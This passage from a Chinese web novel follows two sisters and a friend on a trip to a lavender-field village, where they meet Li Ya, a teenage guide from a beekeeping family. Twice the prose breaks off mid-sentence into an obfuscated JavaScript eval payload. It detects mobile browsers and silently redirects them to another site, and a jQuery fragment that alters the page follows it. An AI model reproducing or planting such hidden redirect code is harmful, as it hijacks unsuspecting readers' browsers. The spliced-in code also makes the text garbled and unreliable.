“晚上你得和我一块睡。”昭岁还是拉下脸,先一步悄咪咪说。 “为什么?”咚咚疑惑。 “不然……”昭岁瞥向走在后头的映年。 咚咚生了戏弄的心思:“咋?你姐不行啊?” “尴尬啊尴尬,”昭岁说,“我只有睡袋翻出来了。” 咚咚停下来,没动,她回头等映年。 昭岁也停了下来,以为咚咚要“告密”,抬脚轻轻踢一下咚咚。 没想到等映年走进,咚咚蹲下身,抱着映年的编织袋,示意昭岁帮忙。 “不用,几步路。”映年觉得她俩只是空着手,背上的大包可不比她的行李轻多少。 “我给你拿滑板包吧。”昭岁说。 “真不用。”映年说着,但还是和咚咚一起,一边一头抱着编织袋。 拒绝两次,昭岁又怕真和映年睡一块,想着当下多培养感情,就去夺映年的滑板包。 映年难却,便顺手将滑板包卸了下来,让昭岁捧着。 “这不是上次那个啊?”咚咚发现后面露出的板面。 “你不是都卖了吗,这新买的?”昭岁自然有映年卖滑板的三手消息。 “嗯,新买的。” 映年没提以歌的名字,当着咚咚的面儿,说不准昭岁等会儿会不会又闹别扭。她更多想起试着玩练脚感的昨天,大脸猫的邀请和桂花糕转述的“抱歉”。 她拿不定主意是大脸猫怎么想的。 没必要纠结。 办好入住,拿到钥匙,三人坐电梯上楼。 昭岁故意走在最后,这样能让映年先选位置,自己就能决定和谁一块睡了。 显然,咚咚察觉了。 这次她开口对映年道:“我认床啊,身边有人睡着特不踏实。” 映年看昭岁又一脚轻轻踢向咚咚,这基本能瞧出来咚咚藏的心思,她没打趣昭岁的乐趣,转头与昭岁直言:“不用担心,三人间,都有床。” 这话让昭岁呆住,默不作声抿着唇,一副无辜的模样。 晚饭就是在酒店旁的小吃店吃馄饨。 本是提行李已经缓和的关系,又被映年戳穿,搞得昭岁还是隔着桌子在坐。不过这座位是没法,店小人多,都是拼桌在坐。 对面坐着的是女孩,在问戴帽子的姑娘上山的路怎么走,哪一片能瞧见薰衣草园。 戴帽子的年轻小姑娘,不过十五六岁的年纪,皮肤黄黑,身型干瘪,拿着勺子的手腕动时,能看到突出的一大块骨头痕迹。 咚咚听着,问起映年:“我们要不要去?” 映年对视一眼,点点头,问对面姑娘:“多少钱?” 计划上是推迟到明天上午去逛薰衣草园,可这一推迟,往后的流程都要推迟,如果今天下午能瞧见,是最好。 姑娘说报价是门票的半价,咚咚心动了。 一旁的女孩问:“还有萤火虫呢?不是说这有。” 姑娘冷淡“哦”一声,道:“要加钱,先收费。” 价格谈拢,咚咚和昭岁兴趣大,映年反而说:“这太干扰保安的工作了。” 昭岁没劝。她听祁孝逑说过,映年很怕这种会飞的生物。 姑娘却对映年看了又看。 “怎么了?” “你吃素,又穿皮靴。” “啊?” 姑娘没说话了,她展示了一个二维码。不是私人收款码,而是一个环境保护的募捐。这组织,映年知道,算是当地本就很靠谱的,她动了动脚,明白了姑娘的意思。扫描后,她在官网上一次性捐了两人的票钱。 对方收回手机时,她看见夹在手机背后的校园卡。 高一三班,李亚。 _ 日暮时分,太阳快下山头。 这趟旅程收了七八个人,有男有女,都是游客。李亚走在最前头,没往薰衣草园走,而是绕着边缘,去走上山的路。周围围着五只大黄狗,背上有个竹篓,里面岔出来一个钳子柄。 山上什么植株,裸石甚多,石头缝中扎出了几丛绿草。越往上走,杂草越多,这地段应该多有人来往,脚步多,被踩成了一条路。 咚咚拿着相机走在最后面,昭岁走走停停,与她同行。前面两个同行女孩手头拿着玻璃瓶子,走路时撞击有清脆的响。 19.第 19 章 摸牌的规则刚讲清楚,视频加载再次卡住。 映年等了一会儿,跑下床靠近走廊,视频里上粉扑的手终于又动了。 她窝在门口刚把这句牌看完,又卡住了。 这wifi信号实在不好。 呆着无聊,映年还是把鞋换了,从包里掏了一罐果干,出门下楼去到酒店大厅。 现在不是旅游旺季,可紧挨这薰衣草园,大厅沙发人也不少。映年找了个独座沙发休息,打开果干,边吃边刷麻将教学视频。 坐下一会儿,便见一群人回来,手举着矿泉水瓶,里面装的不是水,有几片树叶。 “怎么亮了?”那人说。 “晚上就亮了。”有人回。 这下,映年恍悟,她默默起身,挪位到更远的地方。 化妆教学视频刷完,映年又翻了一圈短视频,起身换个姿势时,才发现放在茶几上的瓶子多了起来。 怎么全是来抓萤火虫的? 想着,她在短视频网站里去搜萤火虫,调在当地频道,刷出来全是薰衣草园的地区。 从前杨梅园有一条河,那处水清凉幽静,初夏的夜晚过去,偶尔能碰见萤火虫,但远不及远不及视频的那么多。 视频里,一片一片闪闪发光的黄色光影,在幽绿的丛林中,宛如颗颗眼睛在眨。 是的,眼睛。 映年知道萤火虫本体的长相,便很难将其与唯美相当,光看着视频,都有种头皮发麻的感觉。 映年对长翅膀的虫类一律归为飞虫,住姥姥家那会儿,寒假还好,暑假有成群的飞虫,尤其是下雨天,水蚁泛滥往屋里钻,翅膀落一地,桌上、电视上、衣服上,到处在爬。 萤火虫也没差,在地上爬时像是一颗颗干瘪的瓜子,棕黑色的头是掐了的蟹黄尖,触须一抖一抖,飞起来,展开暗黑色的翅膀,和普通的飞虫没什么区别。 至于晚间那点微光的氛围感,在清楚真身如何时,她完全无法欣赏。 后来杨梅园开发,她去过那个公园,那条河流保留下来,可再也没见到过萤火虫了。科普里写得清楚,萤火虫对周围的环境很挑剔,现在开发建设较多,许多地方已经见不到萤火虫的踪迹了。 薰衣草园是扶持的观光景点,周围限制了工厂,住户和商家都有严格的管控。虽然一片还没完全发展起来,园外还有一片山坡,但来时,映年在车上听到一个大爷在讲,已经规划明年推平去做个生态公园了。 不知道建成后还能不能有萤火虫。 刷着手机,有飞虫晃眼飞过去了,映年抬眸去看,没捕捉到。 这些人把萤火虫倒出来,放在手头玩,在看发光的屁股。 她真有点受不了了。 正想起身,突然有人道:“别动。” 映年不明所以,愣住,很快,没等到对方的回答,就有“嗡嗡”声在耳边环绕。 侧头看,有两只蜜蜂在围着她的头部打转。 生态太好的地方,就容易出现这种情况哈。 映年僵在原地,她把果干盖子关掉,去想防虫的喷雾是放在背包里的哪处地方。 好在等了一会,乱飞的蜜蜂终于走远。这会儿映年没想再留,出门走到外面去溜达。 _ 拨开杂芜的荒草,沿途过来有裸白的纸张。昭岁起初以为是烧的钱币乱飞,不是,一处处都是用完的日常纸张。 登上山来,有一处草坪平地,周围支着一些整齐的竹竿,泥土又翻过,瞧上去从前是种过爬藤类的蔬菜。 更扎眼的是四散的塑料垃圾,有挂汁的方便面桶、一次性塑料地垫、喝光的矿泉水瓶,还有乱飞挂在树杈上的纸巾。 地段确实好,远眺下去,薰衣草花田漫天。 登山花了不少时间,黄昏时分是在抢时间,咚咚拿着云台,在找角度拍景。 她先给昭岁拍了几段,又把相机寄给昭岁,让昭岁帮忙拍摄,一来二去,天将将黑下来。不知哪来的蜜蜂,“嗡嗡”在身边飞个不停,如果不是闪光灯偶尔捕捉到那团身影,昭岁该以为是苍蝇横生了。 有同行的情侣看到她们的设备,想借着拍摄。 咚咚应允后,不止情侣,其他同行的人也想要来蹭。顺手的事,她没太在意。 可惜黄昏短暂,毛糙的黑糊上来,夜幕降临,取景闪光灯下最多只能照亮人脸。 照不亮后面那片的紫色花海。 拍摄完毕后,除了头顶上皎白的月光,就只能李亚头顶上的灯了。 她的帽子取下来,头发竟然是蓬松的爆炸头,不够长,但够蓬松,原本就够瘦小的身子显然头更饱满了。 四方光源就她头顶的灯。 登山杖成了捡拾垃圾的棍杖,背篓已经放下来了,套着一个巨大的塑料袋子,她戳着地面上的白色垃圾,扔进背篓里。 昭岁不止哪处找来的竹竿,边戳边与李亚闲聊。 她说:“我也想加入环保组织的。” 李亚没搭话,自顾着捡垃圾。 “我之前经常参与什么博物馆志愿啊、社区慰问啊,”昭岁对,话到一半卡住,又想到黄柠檬爱蹭的志愿活动,她带着谎,“还有大型演出志愿员之类的。” 黄狗叼来矿泉水瓶,被李亚一下赏了一耳光,“嘤嘤”两声,耷拉着耳朵趴在一旁了。 李亚喝斥:“不该叼的东西别叼。” 昭岁对这挑衅笑一声,又说:“小狗爱玩是天性,还劳作呢,凶它们干什么。” 这话让李亚顿住一瞬间,向昭岁看去,额头上的灯光直直地照着昭岁,让昭岁眯着眼睛。 她才真正直视面前的李亚,皮肤带着些没冒出来的粉刺,干裂的唇,泛光的鼻头,还有那双坚毅的眼睛。 带着野性,又或许是夜晚让野兽的气息更浓,这份侵略坦然又锐利。 很快,昭岁招架不住,别开了目光。 眨眼时还有一片亮堂的黑色红光。 她弯着腰继续捡拾。薄塑料一类尚能用棍棒拾取,塑料瓶就没有办法,只能掠过。 收了相机,咚咚放好装在包里。她来帮忙,捡起来了塑料瓶子。 有同行人也加入一二,可没做多久,耐不住性子问:“萤火虫在哪?” 李亚还是没说话,闷头在做事。 “你这样不行的啊。”男人说。 回答他的是五只黄狗的狂吠,它摇着尾巴,站在李亚面前。男人作势要上前,黄狗真就没怕,弓腿要往前扑去,身边的同行者把男人拉了回来。 李亚用铁钳拍了一屁股,这次黄狗没动,还是凶猛地呲牙站在原地。 李亚说:“它不听我的话。” 这一来一回,让昭岁算是明白了李亚的意图。怪不得,要人直接捐款到环保项目。 “本来就是碰运气。”咚咚说和,语气具有说服力,“明天天气预报有雨,说不定晚上就有了。” 晚间蚊虫多,夏季穿衣皮肤裸露,飞舞侵扰上来,让这份僵持加速。 在要求退费无果后,又要让人带领下山,可李亚还是道:“我要捡完一篓再下山。” “我知道你哪个学校的,我要去告诉你老师。” “要不要我把电话号码给你?” “……” 变卦的李亚没人谈拢,只得自己下山。 昭岁跟着人群后面,再转头去,却见咚咚没动,接下了她刚才拿着的木棍,正在戳垃圾。 即便是真心想做公益,昭岁还是把安全放第一位。这片区域未开发,能一行人一块同行前往尚可,如果只剩她们和当地人李亚,就担心有其他变数。不说白天,现在还是晚上。小心一些,总归是好的。 咚咚没想这么多。往日她摆摊在街上,收摊晚时,地面上油污一坨一坨,若是碰见来打扫的环卫工人,总会帮忙清洁。 “先回去吧。”昭岁说。 “你先走,我等会和她一块下来。”咚咚说。 昭岁本不想当着李亚的面,说对她提防警惕。可无论如何,生命安全一定是放在首位,任何可能出现意外的情况都尽可能规避。 本想拉着咚咚在一旁讲,可对方捡着垃圾正来劲,就要昭岁有话就讲。昭岁担心跟不上前面离开的队伍,又看一眼李亚,便讲出来了。 不止咚咚,这次连李亚冷漠的表情也出现了的一丝裂缝。 “她危险吗?”咚咚问。 就是她在,我们危险系数才飙升。李亚的眼神刺在背上,昭岁没说出口。 没得到答案的咚咚又问李亚:“你危险吗?” 昭岁:“……” 该说的你真是大智若愚还是虎头虎脑。 咚咚挨了昭岁一记手锤。 李亚没舍得给咚咚一个眼神,钳子上的易拉罐掷出去,“哐”一声击在边缘,落在垃圾堆里,惊得一旁休憩的黄狗站直身子,左右试探。 下山路不好走。 咚咚走时光顾着拍照,走时没注意,她们已经落了前面的人一截,去寻找刚才大部的灯。好在昭岁很会找路,她在路线上有很分寸,带着咚咚一路往山下走。 两人脚程不快,离大部队的灯光保持在一定距离。 有窸窣的声音从后方传来。 昭岁咽了口水,肩膀不自觉地搭在咚咚肩膀上。 “害怕?” “还好。” 昭岁刚放手,后头的声音更近,她只能再次抓住咚咚的胳膊。 咚咚突然笑起来,唤了声“大黄”,便听见有犬吠声。昭岁转头去看,是李亚的黄狗。 她把手松开。 咚咚蹲下身想去摸大黄狗,被躲开,岔着腿缝钻到前面,吐着舌头站在原地,回头看她们。 这是要领路。 _ “手机就能填,主要是看她想读什么。”映年窝在被子里,听见开门声,对齐美裳说,“不说了,回来了。” 今天奔波一路充实,晚上又登山,三人稍微聊了一会儿,就躺下了。 昭岁闭着眼睛躺了会儿,睡不着,侧着身子玩了会儿手机,最后是困着睡下去的。 三个床,昭岁的床临近大门。 闹钟轻轻震一下,她立马摸到,关了静音。趴了一会儿,片头看外头的天蒙蒙亮了,翻身起来。 在洗手间洗漱,靠在门框上刷牙,把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022486|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机摸出来看。 上午九点是查分的时间,班级群已经热闹起来了,班主任在叮嘱查分事项,可以系统开放前早进,试试能不能看见。 班群在热聊最近班主任新养的狗,不止高中班群活跃,就连初中班群也在说话,互相打听彼此过得好不好。 往上翻,竟然翻到了大霜。这是昨晚发的消息了。 大霜:螺市高考线要低一点,但看排名啊。 大霜:不清楚,能考上鹊大就来。 ……又回鹊市来。没看出来,大霜这么喜欢鹊市。 她点进大霜的头像,朋友圈是还是那张高考的照片。照片里大霜没有出镜,对着黑板是一条祝福“前程似锦”的大字。 “起这么早?” 映年的话吓昭岁一机灵,咬到了牙刷,好在拿着手机的手很稳,没有乱点。她松一口气。 “嗯。” “查分还早啊。” 昭岁进了洗手间,把嘴里的泡泡吐出来,侧身让映年进来使用。 她重新坐回床上,去翻包里的衣服。这个酒店没有洗衣服务,昨天穿脏的衣服就用塑料袋子套着塞进去,把今天的衣服拽出来。 洗手间有人,昭岁便掀开被子钻进去,弓着身子,脱掉睡衣,又换一身新的。 映年出来,边看着昭岁在被窝里蛹动,再拿了洗簌用品进去,出来时昭岁半躺在床头。 昭岁见映年,便指着电视台上的芒果干:“妈给的,垫点肚子。” 映年盯着果干,半晌没动,又蹲下身去穿鞋。 昭岁问:“你要出去?” “我去看一眼薰衣草。”映年说。 本计划着今天去薰衣草园,三人中有两人见过,多数决也不该让自己耽误行程。可来这趟,不去看看总觉得缺憾,映年昨晚溜达的时候问了路线,正好去瞧瞧。 昭岁爬起来,道:“我陪你去。” “不用,我知道。” 映年穿好裤子,蹲着去拿打开编织袋,昨天打开睡衣只需要一个缝,找衣服得大开,这一打开,就两个瓶子滚出来。 是芒果干。 映年捡起来,看着罐子,突然笑了。 她重新塞进包里,把衣服拿出来放在床上,直接开始脱睡衣。 “你干嘛?”昭岁惊道。 映年看向睡得正酣的咚咚,转头提醒:“小声点。” 说着,她把衣服重新换上了。 “不要你陪我。”映年说,“你守着查成绩吧。” “那我想去看行吗?” _ 清晨还没暑意,林间风来时清凉。 橘子驱虫的气味很浓,映年出门时一喷再喷,还想匀点给昭岁,被拒绝了。 光是这点气味,方圆一米的蚊虫都别想靠近。 做了攻略的映年,还是跟着昭岁在走。有了昨天上山下山的经验,这条路映年走得很轻快,昭岁偶有跟不上的时刻,就停下来等她。 披着朝霞,终于到达了山上的平坡。 早间的光景完全是另一片模样。 晨雾里,一簇一簇的紫一片浪,铺展开田间的,滑溜溜地浮动,浪起时侵染了周围的灌木,又往上铺伸,把天边的橘纹了紫。 有种蓬勃的欣欣向荣。 映年说:“这边防护栏没有,上山路也没有,当地人这样领着人过来,真出事了怎么办?” 昭岁无语,真是会扫兴的。 没带相机,手机拍摄一样能记录。昭岁要映年帮忙拍,好在映年对待还算认真,摆着各种姿势拍完。她要给映年拍,映年答应,但站位没往山边靠,就在平地岩石的地方站得高高的。 昭岁想把图片转发分享,划拉一圈,最近聊天的都是姐妹群的人,新发的一条是她挨个复制的早安问候,还没人醒,便没人回复。 刷牙时点过大霜的账号,这会儿大霜跑到了列表顶端。在黄柠檬上面。 这两人还能有放在一块的时候。 昭岁把图片发姐妹群里,又想给齐美裳发一条,再看一眼时间,八点半了,担心齐美裳马上电话过来。 便没动。 “你发群里了吗?”映年问。 “没有。”三人出发时拉了一个三人微信群,昭岁说,“我给咚咚留言了,说我们出门了。” “我不是说这个群。” 昭岁恍惚一下,才反应过来,那个被折叠起来的家族群,便道:“等会儿发朋友圈,她们能看见。” 映年说:“那我发吧。” 昭岁没阻止,在映年发了一张出镜照片后,也发了一张自己的到群里。 父母没回,这个点,估计在开车。 风景看完,昭岁没走,她特意带了两个塑料袋子,留下来在捡垃圾,映年也一并陪同。 二人蹲着一块在清理。 “这就应该暂时设个垃圾桶,”昭岁站得累了,蹲下来打开手机去点进查分网站,还在转圈,她余光见着花丛里有飞舞的蜜蜂,一团一团簇拥在一起,“这边蜜蜂挺多的。” “不止多,你看。”映年站起来,往上指了指树上的小房子,“蜂箱,挂这了。” 20.第 20 章 养蜂车内,李亚拉开蜂箱,蜜蜂乱串出来,她手轻轻挥开蜂群,在检查内部。 五颜六色的蜂箱鳞次栉比地嵌在车厢里,中间留着一条道,李亚站在一个升降台上,李姥姥在一旁的下面抽拉着蜂箱,李立沐则在外头,牵引着焊机的电线。 三代人对处理蜜蜂得心应手。早年是李姥姥割野蜜盘下了钱,李立沐就拿着这笔钱,购置一辆养蜂车,就这么上路了。 村庄持续开发,有大力发展旅游业的势头,眼见着圈地发展,蜜蜂发展环境空间越来越小,产量逐年下滑。李姥姥还是个身体强健的老人,挂着绳子,就能跑山上去,在崖上踩野蜜。李亚偶尔相随,胆子也练得大了。 这些年,还是养蜂车的收入更稳定。 三代人本该是在冬天相逢。李立沐这次回来,是李姥姥从崖上掉下来摔了腿,好在去年这边新种了薰衣草园,初夏正是花期,回来一趟算是逢上了,没有耽误公事。 李姥姥的腿还没好完,花期要过了,李立沐不得不走了。 蜂箱架子衔接车皮的地方有松动,李立沐拿着焊机在焊接,有亮光一闪一闪。 “听说你又收费,私下带着人上后山了。”李立沐说。 “又告状!”李亚就不该在小吃店讲暴露这件事,“钱可没进我兜里。” “万一人掉下去,出点意外,怎么办?” 每次李立沐都爱讲这些有的没的,李亚的回答一律是不理。李姥姥一年掉崖上多少次,李立沐的反应就那样,担心起这群外来客。 李姥姥轻轻搓手,把蜜蜂赶开,说:“她是去收蜂房了。” 这一提醒了李立沐:“早让你撤了,现在人来多了,蛰到人怎么办?” 放那就是李亚故意的,她说:“蛰到活该呗。” _ 姐妹二人没在蜂箱旁逗留,换了个地儿。 昭岁靠着树在刷新网页,卡顿异常,连转圈都没动了,显示无法进入。 她干脆把手机放口袋里,继续捡垃圾,她问:“你大学加过这种志愿组织吗?” “听过。” 映年忙着学习,闲余时间都给滑板和看演出了,知道完全是因为专业课有老师提过。至于是否加入,她没考虑过。 “我以为你加入了呢。” “我微博都被你翻烂了,你能不知道?” 昭岁脸瞬间涨红。她记得自己有用小号,有删除记录,怎么会被发现,哪里露出了马脚? 还是映年在诈她? 这有什么好诈的! “怎么加入?”昭岁稍稍稳下来。 “你要加入?” “我想了解。” “修课外分可以找点轻松的项目,不用搞这种的。” “不是为了学分。” 映年停下动作,转头望向昭岁,见她眼神清澈,重新站正。 “真要做环保,偶尔捐点钱就够了。”映年的棍子戳不起来塑料瓶,她也不蹲身,只在调整瓶子的方向,去戳塑料瓶口,转了几圈,终于捅进去了,“这么大地盘的建设,可能出现的牺牲很正常。” 昭岁望着飞舞的蜜蜂,一时僵住,也没说话。她没想到映年会这么想,会这么说。 塑料瓶还是脱了树枝,从塑料袋里滑出来,落到地上了。 映年弯下身去捡,拿着瓶子,她撑着腰起来,刚摸到腰就觉得手心不对,摊开看,是一只蜜蜂。 此刻,这蜜蜂朝她冲来。 _ 咚咚翻身,叫声“昭岁”,没人理,又叫了声“映年姐”,还是没回答。 她眯着眼睛往一旁看,看不清楚,伸手去摸眼镜带上,两张床上都没人。再去摸到手机,看到了昭岁的留言,她起身来,坐在床边发了会儿呆。 换好衣服,取了相机,她去酒店前台,想借用电脑来把内存卡的视频拷贝到硬盘里。惨遭拒绝。 她买了两个包子,太阳晒着热,没再路边摊坐着,立马折返回酒店。 地图上最近的网吧距离有十公里,还不顺路。真要到拷贝,得等到中午去另一个县城找一下。 或者,去找昨天帮忙拍摄的游客,正好能把底片发出去。下山时说要分享照片,就拉了一个群。 群里凌晨有人发过照片,是一片萤火虫的景观,还详细讲了攻略是怎么引导去的那片地,顺便咒骂一声坑钱的李亚。 咚咚在群里说了需求,有人立马回复可以,报了房间号让她过去。想着昨晚映年的谨慎,咚咚把地址改成大堂,对方便让咚咚先等着。 她在大堂寻了个沙发坐下。 早上保洁还在清理,拖地收拾垃圾,拿着塑料瓶在抖里面的叶子,先掉出来的是一颗黑色颗粒。 是萤火虫。 在外景没见到的,在垃圾桶里看见了。 李亚来送蜂蜜,经理还没来,她拎着袋子到沙发上坐下,才发现对面的人眼熟。 咚咚也注意到她了。 两人对视一眼,没说话,李亚低头开始玩手机。 今天李亚换了个渔夫帽,头发蓬蓬的,把帽子鼓起来了,前端有些不听话的碎发冒出来,又被压住,很像燃尽的火柴须。 看着就是良民嘛。 咚咚说:“我等会送照片的时候告诉他们,不要告状你的。” 李亚抬头看她,“呵呵”干笑两声,没说话。她是真不在乎班主任,电联的家长号码写的就是李姥姥的电话,呼叫转移到她的手机上,看到号码就拒接。 真有打到李立沐手机的情况,距离远压根不算事。哪怕真有期末开家长会,李立沐被单独留下的情况,回来至多说上李亚几句,都是些无关痛痒的话。 咚咚又说:“还拍了几张你的照片呢,你把微信给我,回头我发给你。” 李亚狐疑地盯着咚咚,又“呵呵”干笑两声,站起身来,拎着蜂蜜袋子离开了。咚咚盯着她的背影,举起相机,再次拍了两张。 没等多久,群友就抱着电脑下来了,是个扎丸子头的女孩。她打开电脑,让咚咚使用。咚咚的拍照技术比不上专业的摄影师,也是使用相机得心应手,又听从模特的需求,成片效果很不错。 女孩邀请咚咚:“晚上咱们再一块去萤火虫那边吧?” 咚咚拒绝了,把照片悉数发在群里,践诺请求群友不要为难或诋毁带路的李亚。 “真不去?那拍照可出片了。” “中午要退房,有安排了。” 行程没排满满当当,就一天碰到薰衣草园关门的情况来看,后期岔子一定不少,昨天俯瞰过薰衣草园,逗留一天实在浪费。 何况,目前成片的薰衣草,目后遍野的垃圾堆,咚咚没有一定去看的心思。 _ 昭岁下山路上故意走在前面,她一会儿咬着唇憋笑,一会儿笑不出来,映年如果不是陪她,也不至于被蛰。手机在查蜜蜂蜇人后处理方案,她想到以前,突然又有点生气。 “以前大姥姥用尿说来擦,真恶心啊。” “你涂了吗?” “又不是我被蛰了。” “那是谁?” 是谁,当然是大霜了。 昭岁还好把话卡在喉里,她回头,心虚地瞅一眼映年。 蜜蜂蛰的位置很不巧,正是下嘴皮边缘,刺已经拔出来了,可无法避免地肿胀,让映年的嘴看起来很厚,像是一坨耷拉的鸡冠。 如果忽略映年凌厉的眼神,这看起来……很可爱。 两人一人拎着一个塑料垃圾,快到山脚的时候,映年听到几声犬吠,往前走,果然碰上了上山的李亚,以及后面跟随着的人员。 她是没见过高中生这么闲的。 上山本就没路,踩出来的路狭窄。倘若谁也不愿意去踩一旁的杂草,那只能贴着身子侧身让路。 李亚站着,不做那个让路的人。 映年和昭岁退到草里,把位置让给李亚。李亚却没动,她在垃圾袋和姐妹俩身上打量,视线停在映年肿起来的嘴上,深吸了两口气,没忍住,开口说的是:“就这是喷这么浓才被蛰的。” 映年:“……” 她喷的量多,两姐妹站在一块,对方闻不出来很正常。重点是,驱虫喷雾怎么可能招蜜蜂。 李亚没再说话,带着一群人往山上走了。 二人往下走,直接回了酒店。 刚才稍稍发肿,到现在整个都嘟起来了,映年的嘴皮翘得似乎都能感受到鼻腔的呼吸。她本来只打算稍微冲洗一下,昭岁却郑重其事地把一次性肥皂泡水打湿,让映年一定抹着处理。 映年端着纸杯,对着镜子,稍稍沾了点水抹在嘴皮上。 “怎么样,舒服点没?” “没感觉。”映年稍稍开了条唇缝,话语含糊不清,有水往里钻,“有点甜。” “嘿,不吃肥皂啊。”昭岁打开水龙头,重新给她接了一杯水。 “那你和我说话啊。”说话时,还有水往嘴里流,映年用干净的手把嘴稍稍拍湿,洗干净了。 “不行,说是要肥皂水涂抹,不能洗干净。”昭岁又说。 “……就这样吧。”映年无语。 “不行!”昭岁很强硬,“还痛得去医院检查一下。” 两人在洗手间折腾了一会儿,最后是齐美裳的电话过来打断的。 “查到没?” “进不去。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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咚咚对昭岁道:“我赢了,这袋子能撑不过第一站。” 昭岁心虚,一副装傻的表情。 映年:“……”你俩到底在拿我比什么。 这样一手提一边走着,发力点不对,走起路来麻烦,磨磨蹭蹭地终于到了公交车站。 她们来前刚过了一班公交车,还要等半小时。目的地就在终点站,到站后先去民宿寄存行李再玩。 映年昨天买的新袋子有了用处,等车的空隙,她打开袋子,慢慢把东西腾出来。 咚咚很无语:“一样破袋子,你又买一个?” 映年这次反驳:“这袋子比之前那个便宜点,应该更破。” 咚咚:“……” 站台偏远,就一根杆,没天顶没位置。昭岁累得不行,把背包放在地上坐下来,又拿着手机在查成绩,卡不进去。 映年:“查到没?” 咚咚抢答:“查到她能这么淡定?” 昭岁踢她一下:“没高考过的人不准放屁。” 咚咚笑,踢回去,她注意到映年的靴:“不热吗?” 映年:“热,当然热。” 不是今早这编织袋坏了吗,靴子塞不进去,那就穿在脚上。这两天登山走路的,脚还没投降,正在征战这双靴。 除此之外,映年就带了滑板鞋,今天天气预报有雨,滑板鞋不能沾水,只能穿靴子。 她平时整理衣物没什么调理,都是一股脑塞进自封袋,弄成一坨一坨的,带的衣服大多数还是毕业时候整理的,面试和上班都穿西装和衬衫,别的常服偶尔穿,就拿出来两件,压根没重新整理。这次收拾,一块塞了进来。 想着,映年无奈笑起来。 毕业那天搬宿舍,她也是扯着编织袋穿着皮靴,模样垂头丧气的。 其实现在比那会儿狼狈,行李大剌剌露出来,真要不注意,一扯估计就掉地上了。毕业时候,祁孝逑高举着行李箱,是否真的只是为了托举好她的行李箱呢? 音乐公司曾经有过外出的工作给她,还有计划让她出差,没等到那会儿已经被辞退。出差啊,映年在房地产公司时候,出差也不少,忙得用高铁小桌板支着电脑改方案。 这样想着,映年又笑了。 她觉得现在就差了一场雨。 _ 雨下起来时,蜂箱刚刚盘上来。 李立沐胳膊夹着手机,上了驾驶座,把手机丢在油表前,启动车辆。 电话那头的经理还在说:“一次两次就算了,我怕酒店吃到投诉。” “得了,今天就走。” “还有李亚……全是虫,多麻烦,还有拉客上山这事。” “那可不是李亚带去捉的。” 经理重复抱怨了几次蜜蜂骚扰的情况,李立沐挂着倒挡正在倒车,有意无意地“嗯”着,最后在对方再次提点李亚时,终于受不了了。 她说:“今天没收到蜂蜜吗?” 经理顿一下,说:“下不为例。” 21.第 21 章 夏季雨劈里啪啦来得突然,映年还没整理好行李,匆匆把掏出雨衣。原地分装纯粹是做了多余的事情,雨衣批在编织袋的豁口上根本不够,到头来还是咚咚贡献自己的雨衣,这同时不能让袋子着地,两人只能一手抱一个。 昭岁本想把雨衣拿来三人一起用,咚咚只把背包递给她,放在脚上撑着,蹲着护好。 “这不就凉快了?”映年说。 “你最好马上买个背包把你的破袋子扔掉。”咚咚说,“你不是有行李箱吗?怎么不用?” 昭岁抢答:“行李箱也会湿掉啊。” 咚咚:“……”她在说的不是这个。 映年又笑了,居然昭岁和祁孝逑关注点的是一样的。 _ 副驾驶的门打开,李亚跨上来。 雨来得突然,她没带雨具,就套了个塑料袋套在帽子上,遮到的不多,肩膀淋得半湿,上车后还在拍衣服上的水珠。 李立沐发动车辆,行驶在路上:“经理电话打我这来了,有人上山被蛰了,你还没撤那个蜂箱?” 李亚把塑料袋从头上拿下来,往后探去那后面悬挂着毛巾,在擦头发。 她问:“姥姥呢?” 李立沐说:“送她去包药了。” 李亚顿了两秒,说:“再留两天嘛?等我假期结束,正好和我一起去撤上面的蜂箱。” “不是妈妈不想留,”李立沐说着,再次说,“高速费要涨价了。” 李亚默了片刻,说:“好吧。” “等这边好点了,挣点钱,回来用场地盘个蜂场。”李立沐说着这些年一如既往的话,“我也不用出去了。” 这份期许李亚从小听到大。 李亚认真算过养蜂车的平均报废时长,真到那时候,她已经到了成人的年纪。李立沐比她清楚太多。 身子靠在座椅上,李亚双臂抱在胸前,又道:“那我等你下次回来再去撤蜂箱。” “李亚!” 李亚别过头,不理她。李立沐一时之间不知道怎么劝。 车厢陷入沉默了。 在外时,每次电话李立沐都是掐着周末的点给李亚打电话,对方很少自己拨过来,真拨过来,几乎不闲聊,讲的都是要紧事,多数是来讨学费或者生活费。见面时,狠心的又变成了李立沐,无论李亚如何挽留,刹车都不会停下。 李亚靠在窗框上,视线滑过这片公路。 这条路是新修的,开了一条公交线,工业垃圾和生活垃圾乱飞,到处都是。去年时,这边还是一条机耕道,但凡遇见现在的下雨天,泥泞不堪,重型车辆驶过,会凹陷进一个巨大的车轴,雨水积在里面,两天都干不了。从发展上来看,是欣欣向荣,可要真要从蜂场的角度来算,很难去实现了。 下坡时,她看见车站站立的三人。 昭岁蹲着还在刷官网,停车有车停靠,她正想站起来,抬头见到一辆重型货车。 五颜六色的重型货车。 自下而上能瞧见一颗毛茸茸的头。她刚有猜测,便见着副驾驶的门打开,昨日的小导游坐在上面。 “去哪?”李亚问。 咚咚刚想说话,就被昭岁碰了一下,可映年率先爆了站点。 “上车吧,顺路。”李亚说着这话,自己却拿着伞下跳下来。 昭岁刚想拒绝,就被咚咚撞了一下。咚咚道:“得了。” 养蜂车前排三个座位,后头不坐人。李亚下来了,空出两个位置,让映年她们上去。她看出了昭岁的顾虑,说:“我下来当人质,你们挑一个和我坐公交车。” 大雨一直淋着也不是事儿。 过了心头这关,昭岁也有点想上车,还没坐过养蜂车呢。这类大型农用车,她还没体验过。可映年行李不方便,必然让映年先上车。昭岁和她在一块又不太自在,尴尬战胜了喜爱,她把位置让出来让咚咚和映年上车。 